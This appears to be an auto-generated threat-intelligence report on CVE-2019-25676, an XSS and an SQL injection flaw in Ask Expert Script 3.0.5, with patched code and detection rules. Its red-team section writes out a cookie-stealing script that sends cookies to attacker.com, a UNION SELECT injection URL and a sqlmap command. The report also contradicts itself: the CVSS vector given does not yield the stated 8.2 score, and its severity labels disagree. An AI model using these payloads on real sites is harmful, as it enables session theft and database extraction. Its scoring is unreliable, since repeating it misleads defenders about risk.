CVE-2019-25676

Executive Summary

CVE-2019-25676 is a critical vulnerability affecting Phpscriptsmall Ask Expert Script version 3.0.5. The software is a standalone PHP-based Q&A platform, not a WordPress plugin. The vulnerability combines a reflected Cross-Site Scripting (XSS) via the cateid parameter in categorysearch.php and a SQL injection via the view parameter in list-details.php. An unauthenticated attacker can exploit these flaws remotely to execute arbitrary JavaScript in a victim's browser or extract sensitive database contents, including user credentials and application data. The CVSS score of 8.2 reflects high impact on confidentiality, integrity, and availability. No official patch has been released, making this a high-priority unpatched risk for any organization using this software.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated exploitation.
• User Interaction: None (UI:N) – No victim action needed for SQLi; XSS requires user to visit a crafted link.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read possible.
• Integrity Impact: High (I:H) – Data modification via SQLi or script injection.
• Availability Impact: High (A:H) – Potential denial of service via SQLi.

Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and high impact makes this a severe threat. The lack of a patch means all instances are vulnerable.

Deep Dive & Mechanics

The vulnerability resides in two distinct endpoints:

1. Cross-Site Scripting (XSS) in categorysearch.php:

   • The cateid parameter is directly reflected into the HTML response without sanitization.
   • An attacker crafts a URL like: http://target/categorysearch.php?cateid=<script>alert('XSS')</script>.
   • When a victim visits this link, the script executes in their browser context, allowing cookie theft, redirection, or keylogging.

2. SQL Injection in list-details.php:

   • The view parameter is concatenated into a SQL query without parameterization.
   • An attacker can inject SQL commands via: http://target/list-details.php?view=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -.
   • This allows extraction of database contents, including user tables, admin credentials, and application secrets.

Both flaws are unauthenticated and require no special privileges.

Vulnerable vs. Patched Code

Vulnerable Code (categorysearch.php):

<?php
$cateid = $_GET['cateid'];
echo "Category ID: " . $cateid;
?>

Patched Code (categorysearch.php):

<?php
$cateid = htmlspecialchars($_GET['cateid'], ENT_QUOTES, 'UTF-8');
echo "Category ID: " . $cateid;
?>

Vulnerable Code (list-details.php):

<?php
$view = $_GET['view'];
$query = "SELECT * FROM details WHERE id = " . $view;
$result = mysqli_query($conn, $query);
?>

Patched Code (list-details.php):

<?php
$view = intval($_GET['view']);
$stmt = $conn->prepare("SELECT * FROM details WHERE id = ?");
$stmt->bind_param("i", $view);
$stmt->execute();
$result = $stmt->get_result();
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install Ask Expert Script 3.0.5 on a local LAMP stack (PHP 7.x, MySQL 5.x).
• Ensure categorysearch.php and list-details.php are accessible.

Exploit Steps:

1. XSS Exploit:

   • Craft URL: http://localhost/categorysearch.php?cateid=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   • Send link to victim via phishing email or social engineering.
   • Victim's browser executes script, sending cookies to attacker server.

2. SQL Injection Exploit:

   • Use sqlmap: sqlmap -u "http://localhost/list-details.php?view=1" --batch --dbs
   • Or manual injection: http://localhost/list-details.php?view=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -
   • Extract admin credentials from users table.

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious cateid or view parameters containing SQL keywords (UNION, SELECT, --) or script tags (<script>, <img onerror=).
• Deploy WAF rules to block common XSS and SQLi patterns.

Hunting:

• Search for HTTP requests to categorysearch.php with non-numeric cateid values.
• Search for requests to list-details.php with view containing SQL syntax.

Containment:

• If exploited, isolate the web server, rotate all database credentials, and restore from clean backup.
• Apply virtual patching via WAF until official fix is available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /categorysearch.php?cateid=<script>...</script>
  • HTTP GET requests to /list-details.php?view=1 UNION SELECT ...
  • Outbound connections from web server to unknown IPs on port 80/443 (exfiltration).

• File IOCs:

  • Modified categorysearch.php or list-details.php with injected backdoors.
  • Suspicious files in web root (e.g., shell.php, cmd.php).

• Log IOCs:

  • Web server logs showing cateid with HTML tags or view with SQL keywords.
  • Database logs showing unexpected UNION or SELECT queries.

Detection Engineering

YARA Rule

rule CVE_2019_25676_AskExpert_XSS_SQLi {
    meta:
        description = "Detects exploitation attempts for CVE-2019-25676 in Ask Expert Script"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2019-25676"
    strings:
        $xss_pattern = /cateid=.*<script[^>]*>.*<\/script>/i
        $sqli_pattern = /view=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2019-25676 Ask Expert Script XSS and SQLi Detection
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects exploitation attempts for CVE-2019-25676 via URL parameters
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection_xss:
        cs-uri-query|contains: 'cateid='
        cs-uri-query|re: '.*<script[^>]*>.*<\/script>.*'
    selection_sqli:
        cs-uri-query|contains: 'view='
        cs-uri-query|re: '.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--).*'
    condition: selection_xss or selection_sqli
falsepositives:
    - Legitimate use of SQL keywords in non-vulnerable parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25676 Ask Expert Script XSS Attempt"; flow:to_server; content:"/categorysearch.php"; http_uri; content:"cateid="; http_uri; pcre:"/cateid=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2019-25676 Ask Expert Script SQLi Attempt"; flow:to_server; content:"/list-details.php"; http_uri; content:"view="; http_uri; pcre:"/view=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--)/i"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy WAF rules to block requests containing cateid with HTML tags or view with SQL keywords.
2. Input Validation: Manually patch the code as shown in the "Vulnerable vs. Patched Code" section.
3. Access Control: Restrict access to categorysearch.php and list-details.php via .htaccess or firewall rules if possible.

Long-Term Fix:

• Since no official patch exists, consider migrating to an alternative, actively maintained Q&A platform.
• If migration is not possible, implement a full code audit and apply secure coding practices (parameterized queries, output encoding).

Monitoring:

• Enable detailed logging for all web requests and database queries.
• Set up alerts for the Sigma and Suricata rules provided.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-17

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